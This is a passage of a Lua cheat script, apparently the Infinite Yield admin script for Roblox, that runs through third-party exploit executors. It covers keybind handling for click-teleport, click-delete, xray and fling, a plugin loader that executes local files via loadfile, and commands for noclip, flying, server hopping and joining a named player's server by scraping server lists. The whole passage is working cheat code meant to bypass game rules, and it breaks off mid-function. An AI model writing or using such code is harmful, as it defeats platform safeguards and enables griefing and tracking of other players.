  4855. ClickTP.Select.MouseButton1Click:Connect(function()
  4856. if keySelected then
  4857. addbind('clicktp',keyPressed)
  4858. refreshbinds()
  4859. updatesaves()
  4860. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4861. notify('Keybinds Updated','Binded '..keyPressed..' to click tp')
  4862. else
  4863. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click tp')
  4864. end
  4865. end
  4866. end)
  4867.  
  4868. ClickDelete.Select.MouseButton1Click:Connect(function()
  4869. if keySelected then
  4870. addbind('clickdel',keyPressed)
  4871. refreshbinds()
  4872. updatesaves()
  4873. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4874. notify('Keybinds Updated','Binded '..keyPressed..' to click delete')
  4875. else
  4876. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click delete')
  4877. end
  4878. end
  4879. end)
  4880.  
  4881. Xray.Select.MouseButton1Click:Connect(function()
  4882. if keySelected then
  4883. addbind('togglexray',keyPressed)
  4884. refreshbinds()
  4885. updatesaves()
  4886. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4887. notify('Keybinds Updated','Binded '..keyPressed..' to toggle xray')
  4888. else
  4889. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle xray')
  4890. end
  4891. end
  4892. end)
  4893.  
  4894. Swim.Select.MouseButton1Click:Connect(function()
  4895. if keySelected then
  4896. addbind('toggleswim',keyPressed)
  4897. refreshbinds()
  4898. updatesaves()
  4899. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4900. notify('Keybinds Updated','Binded '..keyPressed..' to toggle swim')
  4901. else
  4902. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle swim')
  4903. end
  4904. end
  4905. end)
  4906.  
  4907. Fling.Select.MouseButton1Click:Connect(function()
  4908. if keySelected then
  4909. addbind('togglefling',keyPressed)
  4910. refreshbinds()
  4911. updatesaves()
  4912. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4913. notify('Keybinds Updated','Binded '..keyPressed..' to toggle fling')
  4914. else
  4915. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle fling')
  4916. end
  4917. end
  4918. end)
  4919.  
  4920. IYMouse.Button1Down:connect(function()
  4921. for i,v in pairs(binds) do
  4922. if v.COMMAND == 'clicktp' then
  4923. local input = v.KEY
  4924. if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Players.LocalPlayer.Character then
  4925. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  4926. elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) and Players.LocalPlayer.Character then
  4927. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  4928. elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) and Players.LocalPlayer.Character then
  4929. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  4930. end
  4931. elseif v.COMMAND == 'clickdel' then
  4932. local input = v.KEY
  4933. if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
  4934. pcall(function() IYMouse.Target:Destroy() end)
  4935. elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then
  4936. pcall(function() IYMouse.Target:Destroy() end)
  4937. elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) then
  4938. pcall(function() IYMouse.Target:Destroy() end)
  4939. end
  4940. end
  4941. end
  4942. end)
  4943.  
  4944. PluginsGUI = PluginEditor.background
  4945.  
  4946. function addPlugin(name)
  4947. if name:lower() == 'plugin file name' or name:lower() == 'iy_fe.iy' or name == 'iy_fe' then
  4948. notify('Plugin Error','Please enter a valid plugin')
  4949. else
  4950. local file
  4951. local fileName
  4952. if name:sub(-3) == '.iy' then
  4953. pcall(function() file = readfile(name) end)
  4954. fileName = name
  4955. else
  4956. pcall(function() file = readfile(name..'.iy') end)
  4957. fileName = name..'.iy'
  4958. end
  4959. if file then
  4960. if not FindInTable(PluginsTable, fileName) then
  4961. table.insert(PluginsTable, fileName)
  4962. LoadPlugin(fileName)
  4963. refreshplugins()
  4964. else
  4965. notify('Plugin Error','This plugin is already added')
  4966. end
  4967. else
  4968. notify('Plugin Error','Cannot locate file "'..fileName..'". Is the file in the correct folder?')
  4969. end
  4970. end
  4971. end
  4972.  
  4973. function deletePlugin(name)
  4974. local pName = name..'.iy'
  4975. if name:sub(-3) == '.iy' then
  4976. pName = name
  4977. end
  4978. for i = #cmds,1,-1 do
  4979. if cmds[i].PLUGIN == pName then
  4980. table.remove(cmds, i)
  4981. end
  4982. end
  4983. for i,v in pairs(Holder.CMDs:GetChildren()) do
  4984. if v.Name == 'PLUGIN_'..pName then
  4985. v:Destroy()
  4986. end
  4987. end
  4988. for i,v in pairs(PluginsTable) do
  4989. if v == pName then
  4990. table.remove(PluginsTable, i)
  4991. notify('Removed Plugin',pName..' was removed')
  4992. end
  4993. end
  4994. IndexContents('',true)
  4995. refreshplugins()
  4996. end
  4997.  
  4998. function refreshplugins(dontSave)
  4999. if #PluginsTable > 0 then
  5000. PluginsHint:Destroy()
  5001. end
  5002. if Holder_5 then
  5003. Holder_5:ClearAllChildren()
  5004. Holder_5.CanvasSize = UDim2.new(0, 0, 0, 10)
  5005. for i,v in pairs(PluginsTable) do
  5006. local pName = v
  5007. local YSize = 25
  5008. local Position = ((i * YSize) - YSize)
  5009. local newplugin = Example_5:Clone()
  5010. newplugin.Parent = Holder_5
  5011. newplugin.Visible = true
  5012. newplugin.Position = UDim2.new(0,0,0, Position + 5)
  5013. newplugin.Text.Text = pName
  5014. table.insert(shade2,newplugin)
  5015. table.insert(shade2,newplugin.Text)
  5016. table.insert(text1,newplugin.Text)
  5017. table.insert(shade3,newplugin.Text.Delete)
  5018. table.insert(text2,newplugin.Text.Delete)
  5019. Holder_5.CanvasSize = UDim2.new(0,0,0, Position + 30)
  5020. newplugin.Text.Delete.MouseButton1Click:Connect(function()
  5021. deletePlugin(pName)
  5022. end)
  5023. end
  5024. if not dontSave then
  5025. updatesaves()
  5026. end
  5027. end
  5028. end
  5029.  
  5030. local PluginCache
  5031. function LoadPlugin(val,startup)
  5032. local plugin
  5033.  
  5034. function CatchedPluginLoad()
  5035. plugin = loadfile(val)()
  5036. end
  5037.  
  5038. function handlePluginError(plerror)
  5039. notify('Plugin Error','An error occurred with the plugin, "'..val..'" and it could not be loaded')
  5040. if FindInTable(PluginsTable,val) then
  5041. for i,v in pairs(PluginsTable) do
  5042. if v == val then
  5043. table.remove(PluginsTable,i)
  5044. end
  5045. end
  5046. end
  5047.  
  5048. print("Original Error: "..tostring(plerror))
  5049. print("Plugin Error, stack traceback: "..tostring(debug.traceback()))
  5050.  
  5051. plugin = nil
  5052.  
  5053. return false
  5054. end
  5055.  
  5056. xpcall(CatchedPluginLoad, handlePluginError)
  5057.  
  5058. if plugin ~= nil then
  5059. if not startup then
  5060. notify('Loaded Plugin',"Name: "..plugin["PluginName"].."\n".."Description: "..plugin["PluginDescription"])
  5061. end
  5062. addcmdtext('',val)
  5063. addcmdtext(string.upper('--'..plugin["PluginName"]),val,plugin["PluginDescription"])
  5064. for i,v in pairs(plugin["Commands"]) do
  5065. local cmdExt = ''
  5066. local cmdName = i
  5067. local function handleNames()
  5068. cmdName = i
  5069. if findCmd(cmdName..cmdExt) then
  5070. if isNumber(cmdExt) then
  5071. cmdExt = cmdExt+1
  5072. else
  5073. cmdExt = 1
  5074. end
  5075. handleNames()
  5076. else
  5077. cmdName = cmdName..cmdExt
  5078. end
  5079. end
  5080. handleNames()
  5081. addcmd(cmdName, v["Aliases"], v["Function"], val)
  5082. if v["ListName"] then
  5083. local newName = v.ListName
  5084. local cmdNames = {i,unpack(v.Aliases)}
  5085. for i,v in pairs(cmdNames) do
  5086. newName = newName:gsub(v,v..cmdExt)
  5087. end
  5088. addcmdtext(newName,val,v["Description"])
  5089. else
  5090. addcmdtext(cmdName,val,v["Description"])
  5091. end
  5092. end
  5093. IndexContents('',true)
  5094. elseif plugin == nil then
  5095. plugin = nil
  5096. end
  5097. end
  5098.  
  5099. function FindPlugins()
  5100. if PluginsTable ~= nil and type(PluginsTable) == "table" then
  5101. for i,v in pairs(PluginsTable) do
  5102. LoadPlugin(v,true)
  5103. end
  5104. refreshplugins(true)
  5105. end
  5106. end
  5107.  
  5108. PluginsGUI.AddPlugin.MouseButton1Click:connect(function()
  5109. addPlugin(PluginsGUI.FileName.Text)
  5110. end)
  5111.  
  5112. Exit_3.MouseButton1Click:connect(function()
  5113. PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  5114. PluginsGUI.FileName.Text = 'Plugin File Name'
  5115. end)
  5116.  
  5117. PluginsFrame.Add.MouseButton1Click:Connect(function()
  5118. PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, 310), "InOut", "Quart", 0.5, true, nil)
  5119. end)
  5120.  
  5121. Settings.Plugins.Select.MouseButton1Click:Connect(function()
  5122. if writefileExploit() then
  5123. PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  5124. wait(0.5)
  5125. disablebuttons()
  5126. else
  5127. notify('Incompatible Exploit','Your exploit is unable to use plugins (missing read/writefile)')
  5128. end
  5129. end)
  5130.  
  5131. PluginsFrame.Close.MouseButton1Click:Connect(function()
  5132. enablebuttons()
  5133. PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  5134. end)
  5135.  
  5136. addcmd('addalias',{},
  5137. function(args, speaker)
  5138. if #args < 2 then return end
  5139. local cmd = string.lower(args[1])
  5140. local alias = string.lower(args[2])
  5141. for i,v in pairs(cmds) do
  5142. if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
  5143. customAlias[alias] = v
  5144. aliases[#aliases + 1] = {CMD = cmd, ALIAS = alias}
  5145. notify('Aliases Modified',"Added "..alias.." as an alias to "..cmd)
  5146. updatesaves()
  5147. refreshaliases()
  5148. break
  5149. end
  5150. end
  5151. end)
  5152.  
  5153. addcmd('loadsavedaliases',{},
  5154. function(args, speaker)
  5155. if #args < 2 then return end
  5156. local cmd = string.lower(args[1])
  5157. local alias = string.lower(args[2])
  5158. for i,v in pairs(cmds) do
  5159. if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
  5160. customAlias[alias] = v
  5161. refreshaliases()
  5162. break
  5163. end
  5164. end
  5165. end)
  5166.  
  5167. if aliases then
  5168. for i = 1, #aliases do
  5169. execCmd('loadsavedaliases '..aliases[i].CMD..' '..aliases[i].ALIAS)
  5170. end
  5171. end
  5172.  
  5173. addcmd('removealias',{},
  5174. function(args, speaker)
  5175. if #args < 1 then return end
  5176. local alias = string.lower(args[1])
  5177. if customAlias[alias] then
  5178. local cmd = customAlias[alias].NAME
  5179. customAlias[alias] = nil
  5180. for i,v in pairs(aliases) do
  5181. if v.ALIAS == tostring(alias) then
  5182. table.remove(aliases, i)
  5183. end
  5184. end
  5185. notify('Aliases Modified',"Removed the alias "..alias.." from "..cmd)
  5186. updatesaves()
  5187. refreshaliases()
  5188. end
  5189. end)
  5190.  
  5191. addcmd('clraliases',{},
  5192. function(args, speaker)
  5193. customAlias = {}
  5194. aliases = {}
  5195. notify('Aliases Modified','Removed all aliases')
  5196. updatesaves()
  5197. refreshaliases()
  5198. end)
  5199.  
  5200. addcmd('serverinfo',{'info','sinfo'},
  5201. function(args, speaker)
  5202. local FRAME = Instance.new("Frame")
  5203. local shadow = Instance.new("Frame")
  5204. local PopupText = Instance.new("TextLabel")
  5205. local Exit = Instance.new("ImageButton")
  5206. local background = Instance.new("Frame")
  5207. local TextLabel = Instance.new("TextLabel")
  5208. local TextLabel2 = Instance.new("TextLabel")
  5209. local TextLabel3 = Instance.new("TextLabel")
  5210. local Time = Instance.new("TextLabel")
  5211. local appearance = Instance.new("TextLabel")
  5212. local maxplayers = Instance.new("TextLabel")
  5213. local name = Instance.new("TextLabel")
  5214. local placeid = Instance.new("TextLabel")
  5215. local playerid = Instance.new("TextLabel")
  5216. local players = Instance.new("TextLabel")
  5217. local CopyApp = Instance.new("TextButton")
  5218. local CopyPlrID = Instance.new("TextButton")
  5219. local CopyPlcID = Instance.new("TextButton")
  5220.  
  5221. FRAME.Name = randomString()
  5222. FRAME.Parent = PARENT
  5223. FRAME.Active = true
  5224. FRAME.BackgroundTransparency = 1
  5225. FRAME.Position = UDim2.new(0.5, -130, 0, -400)
  5226. FRAME.Size = UDim2.new(0, 250, 0, 20)
  5227. FRAME.ZIndex = 10
  5228. dragGUI(FRAME)
  5229.  
  5230. shadow.Name = "shadow"
  5231. shadow.Parent = FRAME
  5232. shadow.BackgroundColor3 = currentShade2
  5233. shadow.BorderSizePixel = 0
  5234. shadow.Size = UDim2.new(0, 250, 0, 20)
  5235. shadow.ZIndex = 10
  5236. table.insert(shade2,shadow)
  5237.  
  5238. PopupText.Name = "PopupText"
  5239. PopupText.Parent = shadow
  5240. PopupText.BackgroundTransparency = 1
  5241. PopupText.Position = UDim2.new(0, 38, 0, 0)
  5242. PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  5243. PopupText.ZIndex = 10
  5244. PopupText.Font = Enum.Font.SourceSans
  5245. PopupText.TextSize = 14
  5246. PopupText.Text = "Server"
  5247. PopupText.TextColor3 = currentText1
  5248. PopupText.TextWrapped = true
  5249. table.insert(text1,PopupText)
  5250.  
  5251. Exit.Name = "Exit"
  5252. Exit.Parent = shadow
  5253. Exit.BackgroundTransparency = 1
  5254. Exit.Size = UDim2.new(0, 20, 0, 20)
  5255. Exit.ZIndex = 10
  5256. Exit.Image = "rbxassetid://2132544126"
  5257.  
  5258. background.Name = "background"
  5259. background.Parent = FRAME
  5260. background.Active = true
  5261. background.BackgroundColor3 = currentShade1
  5262. background.BorderSizePixel = 0
  5263. background.Position = UDim2.new(0, 0, 1, 0)
  5264. background.Size = UDim2.new(0, 250, 0, 250)
  5265. background.ZIndex = 10
  5266. table.insert(shade1,background)
  5267.  
  5268. TextLabel.Name = "Text Label"
  5269. TextLabel.Parent = background
  5270. TextLabel.BackgroundTransparency = 1
  5271. TextLabel.BorderSizePixel = 0
  5272. TextLabel.Position = UDim2.new(0, 5, 0, 80)
  5273. TextLabel.Size = UDim2.new(0, 100, 0, 20)
  5274. TextLabel.ZIndex = 10
  5275. TextLabel.Font = Enum.Font.SourceSansLight
  5276. TextLabel.TextSize = 20
  5277. TextLabel.Text = "Run Time:"
  5278. TextLabel.TextColor3 = currentText1
  5279. TextLabel.TextXAlignment = Enum.TextXAlignment.Left
  5280. table.insert(text1,TextLabel)
  5281.  
  5282. TextLabel2.Name = "Text Label2"
  5283. TextLabel2.Parent = background
  5284. TextLabel2.BackgroundTransparency = 1
  5285. TextLabel2.BorderSizePixel = 0
  5286. TextLabel2.Position = UDim2.new(0, 5, 0, 130)
  5287. TextLabel2.Size = UDim2.new(0, 100, 0, 20)
  5288. TextLabel2.ZIndex = 10
  5289. TextLabel2.Font = Enum.Font.SourceSansLight
  5290. TextLabel2.TextSize = 20
  5291. TextLabel2.Text = "Statistics:"
  5292. TextLabel2.TextColor3 = currentText1
  5293. TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
  5294. table.insert(text1,TextLabel2)
  5295.  
  5296. TextLabel3.Name = "Text Label3"
  5297. TextLabel3.Parent = background
  5298. TextLabel3.BackgroundTransparency = 1
  5299. TextLabel3.BorderSizePixel = 0
  5300. TextLabel3.Position = UDim2.new(0, 5, 0, 10)
  5301. TextLabel3.Size = UDim2.new(0, 100, 0, 20)
  5302. TextLabel3.ZIndex = 10
  5303. TextLabel3.Font = Enum.Font.SourceSansLight
  5304. TextLabel3.TextSize = 20
  5305. TextLabel3.Text = "Local Player:"
  5306. TextLabel3.TextColor3 = currentText1
  5307. TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
  5308. table.insert(text1,TextLabel3)
  5309.  
  5310. Time.Name = "Time"
  5311. Time.Parent = background
  5312. Time.BackgroundTransparency = 1
  5313. Time.BorderSizePixel = 0
  5314. Time.Position = UDim2.new(0, 5, 0, 105)
  5315. Time.Size = UDim2.new(0, 100, 0, 20)
  5316. Time.ZIndex = 10
  5317. Time.Font = Enum.Font.SourceSans
  5318. Time.FontSize = Enum.FontSize.Size14
  5319. Time.Text = "LOADING"
  5320. Time.TextColor3 = currentText1
  5321. Time.TextXAlignment = Enum.TextXAlignment.Left
  5322. table.insert(text1,Time)
  5323.  
  5324. appearance.Name = "appearance"
  5325. appearance.Parent = background
  5326. appearance.BackgroundTransparency = 1
  5327. appearance.BorderSizePixel = 0
  5328. appearance.Position = UDim2.new(0, 5, 0, 55)
  5329. appearance.Size = UDim2.new(0, 100, 0, 20)
  5330. appearance.ZIndex = 10
  5331. appearance.Font = Enum.Font.SourceSans
  5332. appearance.FontSize = Enum.FontSize.Size14
  5333. appearance.Text = "Appearance: LOADING"
  5334. appearance.TextColor3 = currentText1
  5335. appearance.TextXAlignment = Enum.TextXAlignment.Left
  5336. table.insert(text1,appearance)
  5337.  
  5338. maxplayers.Name = "maxplayers"
  5339. maxplayers.Parent = background
  5340. maxplayers.BackgroundTransparency = 1
  5341. maxplayers.BorderSizePixel = 0
  5342. maxplayers.Position = UDim2.new(0, 5, 0, 175)
  5343. maxplayers.Size = UDim2.new(0, 100, 0, 20)
  5344. maxplayers.ZIndex = 10
  5345. maxplayers.Font = Enum.Font.SourceSans
  5346. maxplayers.FontSize = Enum.FontSize.Size14
  5347. maxplayers.Text = "LOADING"
  5348. maxplayers.TextColor3 = currentText1
  5349. maxplayers.TextXAlignment = Enum.TextXAlignment.Left
  5350. table.insert(text1,maxplayers)
  5351.  
  5352. name.Name = "name"
  5353. name.Parent = background
  5354. name.BackgroundTransparency = 1
  5355. name.BorderSizePixel = 0
  5356. name.Position = UDim2.new(0, 5, 0, 215)
  5357. name.Size = UDim2.new(0, 240, 0, 30)
  5358. name.ZIndex = 10
  5359. name.Font = Enum.Font.SourceSans
  5360. name.FontSize = Enum.FontSize.Size14
  5361. name.Text = "Place Name: LOADING"
  5362. name.TextColor3 = currentText1
  5363. name.TextWrapped = true
  5364. name.TextXAlignment = Enum.TextXAlignment.Left
  5365. name.TextYAlignment = Enum.TextYAlignment.Top
  5366. table.insert(text1,name)
  5367.  
  5368. placeid.Name = "placeid"
  5369. placeid.Parent = background
  5370. placeid.BackgroundTransparency = 1
  5371. placeid.BorderSizePixel = 0
  5372. placeid.Position = UDim2.new(0, 5, 0, 195)
  5373. placeid.Size = UDim2.new(0, 100, 0, 20)
  5374. placeid.ZIndex = 10
  5375. placeid.Font = Enum.Font.SourceSans
  5376. placeid.FontSize = Enum.FontSize.Size14
  5377. placeid.Text = "Place ID: LOADING"
  5378. placeid.TextColor3 = currentText1
  5379. placeid.TextXAlignment = Enum.TextXAlignment.Left
  5380. table.insert(text1,placeid)
  5381.  
  5382. playerid.Name = "playerid"
  5383. playerid.Parent = background
  5384. playerid.BackgroundTransparency = 1
  5385. playerid.BorderSizePixel = 0
  5386. playerid.Position = UDim2.new(0, 5, 0, 35)
  5387. playerid.Size = UDim2.new(0, 100, 0, 20)
  5388. playerid.ZIndex = 10
  5389. playerid.Font = Enum.Font.SourceSans
  5390. playerid.FontSize = Enum.FontSize.Size14
  5391. playerid.Text = "Player ID: LOADING"
  5392. playerid.TextColor3 = currentText1
  5393. playerid.TextXAlignment = Enum.TextXAlignment.Left
  5394. table.insert(text1,playerid)
  5395.  
  5396. players.Name = "players"
  5397. players.Parent = background
  5398. players.BackgroundTransparency = 1
  5399. players.BorderSizePixel = 0
  5400. players.Position = UDim2.new(0, 5, 0, 155)
  5401. players.Size = UDim2.new(0, 100, 0, 20)
  5402. players.ZIndex = 10
  5403. players.Font = Enum.Font.SourceSans
  5404. players.FontSize = Enum.FontSize.Size14
  5405. players.Text = "LOADING"
  5406. players.TextColor3 = currentText1
  5407. players.TextXAlignment = Enum.TextXAlignment.Left
  5408. table.insert(text1,players)
  5409.  
  5410. CopyApp.Name = "CopyApp"
  5411. CopyApp.Parent = background
  5412. CopyApp.BackgroundColor3 = currentShade2
  5413. CopyApp.BorderSizePixel = 0
  5414. CopyApp.Position = UDim2.new(0, 210, 0, 55)
  5415. CopyApp.Size = UDim2.new(0, 35, 0, 20)
  5416. CopyApp.Font = Enum.Font.SourceSans
  5417. CopyApp.TextSize = 14
  5418. CopyApp.Text = "Copy"
  5419. CopyApp.TextColor3 = currentText1
  5420. CopyApp.ZIndex = 10
  5421. table.insert(shade2,CopyApp)
  5422. table.insert(text1,CopyApp)
  5423.  
  5424. CopyPlrID.Name = "CopyPlrID"
  5425. CopyPlrID.Parent = background
  5426. CopyPlrID.BackgroundColor3 = currentShade2
  5427. CopyPlrID.BorderSizePixel = 0
  5428. CopyPlrID.Position = UDim2.new(0, 210, 0, 35)
  5429. CopyPlrID.Size = UDim2.new(0, 35, 0, 20)
  5430. CopyPlrID.Font = Enum.Font.SourceSans
  5431. CopyPlrID.TextSize = 14
  5432. CopyPlrID.Text = "Copy"
  5433. CopyPlrID.TextColor3 = currentText1
  5434. CopyPlrID.ZIndex = 10
  5435. table.insert(shade2,CopyPlrID)
  5436. table.insert(text1,CopyPlrID)
  5437.  
  5438. CopyPlcID.Name = "CopyPlcID"
  5439. CopyPlcID.Parent = background
  5440. CopyPlcID.BackgroundColor3 = currentShade2
  5441. CopyPlcID.BorderSizePixel = 0
  5442. CopyPlcID.Position = UDim2.new(0, 210, 0, 195)
  5443. CopyPlcID.Size = UDim2.new(0, 35, 0, 20)
  5444. CopyPlcID.Font = Enum.Font.SourceSans
  5445. CopyPlcID.TextSize = 14
  5446. CopyPlcID.Text = "Copy"
  5447. CopyPlcID.TextColor3 = currentText1
  5448. CopyPlcID.ZIndex = 10
  5449. table.insert(shade2,CopyPlcID)
  5450. table.insert(text1,CopyPlcID)
  5451.  
  5452. local SINFOGUI = background
  5453. FRAME:TweenPosition(UDim2.new(0.5, -130, 0, 100), "InOut", "Quart", 0.5, true, nil)
  5454. wait(0.5)
  5455. Exit.MouseButton1Click:Connect(function()
  5456. FRAME:TweenPosition(UDim2.new(0.5, -130, 0, -400), "InOut", "Quart", 0.5, true, nil)
  5457. wait(0.6)
  5458. FRAME:Destroy()
  5459. end)
  5460. local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
  5461. SINFOGUI.name.Text = "Place Name: " .. Asset.Name
  5462. SINFOGUI.playerid.Text = "Player ID: " ..speaker.UserId
  5463. SINFOGUI.maxplayers.Text = Players.MaxPlayers.. " Players Max"
  5464. SINFOGUI.placeid.Text = "Place ID: " ..game.PlaceId
  5465.  
  5466. CopyApp.MouseButton1Click:Connect(function()
  5467. toClipboard(speaker.CharacterAppearanceId)
  5468. end)
  5469. CopyPlrID.MouseButton1Click:Connect(function()
  5470. toClipboard(speaker.UserId)
  5471. end)
  5472. CopyPlcID.MouseButton1Click:Connect(function()
  5473. toClipboard(game.PlaceId)
  5474. end)
  5475.  
  5476. repeat
  5477. players = Players:getPlayers()
  5478. SINFOGUI.players.Text = #players.. " Player(s)"
  5479. SINFOGUI.appearance.Text = "Appearance: " ..speaker.CharacterAppearanceId
  5480. local seconds = math.floor(workspace.DistributedGameTime)
  5481. local minutes = math.floor(workspace.DistributedGameTime / 60)
  5482. local hours = math.floor(workspace.DistributedGameTime / 60 / 60)
  5483. local seconds = seconds - (minutes * 60)
  5484. local minutes = minutes - (hours * 60)
  5485. if hours < 1 then if minutes < 1 then
  5486. SINFOGUI.Time.Text = seconds .. " Second(s)" else
  5487. SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)"
  5488. end
  5489. else
  5490. SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)"
  5491. end
  5492. wait(1)
  5493. until SINFOGUI.Parent == nil
  5494. end)
  5495.  
  5496. addcmd('breakloops',{'break'},
  5497. function(args, speaker)
  5498. lastBreakTime = tick()
  5499. end)
  5500.  
  5501. addcmd('gametp',{'gameteleport'},
  5502. function(args, speaker)
  5503. game:GetService('TeleportService'):Teleport(args[1])
  5504. end)
  5505.  
  5506. addcmd('rejoin',{'rj'},
  5507. function(args, speaker)
  5508. game:GetService('TeleportService'):Teleport(game.PlaceId)
  5509. end)
  5510.  
  5511. addcmd('serverhop',{'shop'},
  5512. function(args, speaker)
  5513. local PlaceId = game.PlaceId
  5514. local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId=%s&startindex="):format(PlaceId)
  5515.  
  5516. local List = {}
  5517.  
  5518. for page = 0, 30 do
  5519. local Query = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..page))
  5520.  
  5521. for i,v in next, Query.Collection do
  5522. List[v.Guid] = v.Ping
  5523. end
  5524. end
  5525.  
  5526. local ChosenServer = game.JobId
  5527.  
  5528. for i,v in pairs(List) do
  5529. if i ~= game.JobId then
  5530. ChosenServer = i
  5531. break
  5532. end
  5533. end
  5534.  
  5535. game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId,ChosenServer,speaker)
  5536. end)
  5537.  
  5538. addcmd('joinplayer',{'joinp'},
  5539. function(args, speaker)
  5540. local retries = 0
  5541. local gameID = game.PlaceId
  5542. if args[2] then
  5543. gameID = args[2]
  5544. end
  5545. function ToServer(User,PlaceId)
  5546. if not pcall(function()
  5547. local FoundUser, UserId = pcall(function()
  5548. if tonumber(User) then
  5549. return tonumber(User)
  5550. end
  5551.  
  5552. return game:GetService("Players"):GetUserIdFromNameAsync(User)
  5553. end)
  5554. if not FoundUser then
  5555. notify('Join Error','Username/UserID does not exist')
  5556. else
  5557. notify('Join Player','Loading servers. Hold on a second.')
  5558. local res = game:HttpGet("https://www.roblox.com/headshot-thumbnail/json?userId="..UserId.."&width=48&height=48")
  5559. local HttpURL = game:GetService("HttpService"):JSONDecode(res)
  5560. local ThumbGrab = HttpURL["Url"]
  5561. local Thumb = ThumbGrab
  5562. local URL2 = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..PlaceId.."&startindex=")
  5563. local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2.."0"))
  5564. local GUID
  5565. for i = 0,Http.TotalCollectionSize do
  5566. local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2..i))
  5567. for x,n in pairs(Http.Collection) do
  5568. for _,v in pairs(n.CurrentPlayers) do
  5569. if v.Thumbnail.Url == Thumb then
  5570. GUID = n.Guid
  5571. end
  5572. end
  5573. end
  5574. end
  5575. if GUID ~= nil then
  5576. notify('Join Player','Joining '..User)
  5577. game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId,GUID,speaker)
  5578. else
  5579. notify('Join Error','Unable to join user.')
  5580. end
  5581. end
  5582. end)
  5583. then
  5584. if retries < 3 then
  5585. retries = retries + 1
  5586. print('ERROR retrying '..retries..'/3')
  5587. notify('Join Error','Error while trying to join. Retrying '..retries..'/3.')
  5588. ToServer(User,PlaceId)
  5589. else
  5590. notify('Join Error','Error while trying to join.')
  5591. end
  5592. end
  5593. end
  5594. ToServer(args[1],gameID)
  5595. end)
  5596.  
  5597. addcmd('exit',{},
  5598. function(args, speaker)
  5599. game:shutdown()
  5600. end)
  5601.  
  5602. local Noclipping = nil
  5603. addcmd('noclip',{},
  5604. function(args, speaker)
  5605. Clip = false
  5606. wait(0.1)
  5607. local function NoclipLoop()
  5608. if Clip == false and speaker.Character ~= nil then
  5609. for _, child in pairs(speaker.Character:GetDescendants()) do
  5610. if child:IsA("BasePart") and child.CanCollide == true then
  5611. child.CanCollide = false
  5612. end
  5613. end
  5614. end
  5615. end
  5616. Noclipping = game:GetService('RunService').Stepped:connect(NoclipLoop)
  5617. if args[1] and args[1] == 'nonotify' then return end
  5618. notify('Noclip','Noclip Enabled')
  5619. end)
  5620.  
  5621. addcmd('clip',{'unnoclip'},
  5622. function(args, speaker)
  5623. if Noclipping then
  5624. Noclipping:Disconnect()
  5625. end
  5626. Clip = true
  5627. if args[1] and args[1] == 'nonotify' then return end
  5628. notify('Noclip','Noclip Disabled')
  5629. end)
  5630.  
  5631. addcmd('togglenoclip',{},
  5632. function(args, speaker)
  5633. if Clip then
  5634. execCmd('noclip')
  5635. else
  5636. execCmd('clip')
  5637. end
  5638. end)
  5639.  
  5640. FLYING = false
  5641. iyflyspeed = 1
  5642. vehicleflyspeed = 1
  5643. function sFLY(vfly)
  5644. repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid')
  5645. repeat wait() until IYMouse
  5646.  
  5647. local T = Players.LocalPlayer.Character.HumanoidRootPart
  5648. local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5649. local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5650. local SPEED = 0
  5651.  
  5652. local function FLY()
  5653. FLYING = true
  5654. local BG = Instance.new('BodyGyro', T)
  5655. local BV = Instance.new('BodyVelocity', T)
  5656. BG.P = 9e4
  5657. BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  5658. BG.cframe = T.CFrame
  5659. BV.velocity = Vector3.new(0, 0, 0)
  5660. BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
  5661. spawn(function()
  5662. repeat wait()
